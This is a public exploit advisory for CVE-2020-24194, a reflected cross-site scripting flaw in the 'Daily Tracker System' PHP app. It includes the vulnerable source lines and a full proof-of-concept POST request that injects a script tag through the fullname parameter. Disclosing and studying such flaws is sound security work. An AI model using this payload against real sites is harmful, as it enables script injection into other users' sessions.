Daily Tracker System - Reflected Cross Site Scripting (XSS)

2020.09.06

hyd3sec (https://cxsecurity.com/author/hyd3sec/1/) (US)

Risk: Low | Local: **No** | Remote: **Yes**

CVE: **CVE-2020-24194 (https://cxsecurity.com/cveshow/CVE-2020-24194/)**

CWE: **CWE-79 (https://cxsecurity.com/cwe/CWE-79)**

CVSS Base Score: **4.3/10**
Exploitability Subscore: **8.6/10**
Attack complexity: **Medium**
Confidentiality impact: **None**
Availability impact: **None**

Impact Subscore: **2.9/10**
Exploit range: **Remote**
Authentication: **No required**
Integrity impact: **Partial**

```
# Exploit Title: Daily Tracker System - Reflected Cross Site Scripting (XSS)
# Exploit Author: Adeeb Shah (@hyd3sec) & Bobby Cooke (boku)
# CVE ID: CVE-2020-24194
# Date: September 2, 2020
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/download-code?nid=14372&title=Daily+Tracker+System+in+PHP%2FMySQL
# Version: v1.0
# Tested On: Windows 10 Pro (x64) + XAMPP

# Vulnerability Details:
# The value of the fullname request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation
marks. The payload rwsg6"><script>alert(1)</script>x88n2 was submitted in the fullname parameter. This input was echoed unmodified in the
application's response.  This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the applicatio
n's response.

# Vulnerable Source Code
# ./user-profile.php
#  11     $fullname=$_POST['fullname'];
# ./includes/sidebar.php
#  21                 <div class="profile-usertitle-name"><?php echo $name; ?></div>
# POST /dets/user-profile.php HTTP/1.1

Host: 172.16.65.130
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Connection: close
Cache-Control: max-age=0
Referer: http://172.16.65.130/dets/user-profile.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
Cookie: PHPSESSID=atvmfd664osgggvtcoc4scv9vs

fullname=qdgxv9ny5y7prycziwy4tx92gz950m2ij88rwsg6%22%3e%3cscript%3ealert(1)%3c%2fscript%3ex88n2&email=YgWeqdRH@burpcollaborator.net&conta
ctnumber=289607&regdate=2020-07-29+20%3a04%3a07&submit=
```

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2020090030)

Tı

Lul

Vote for this issue: 0 0

50% 50%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)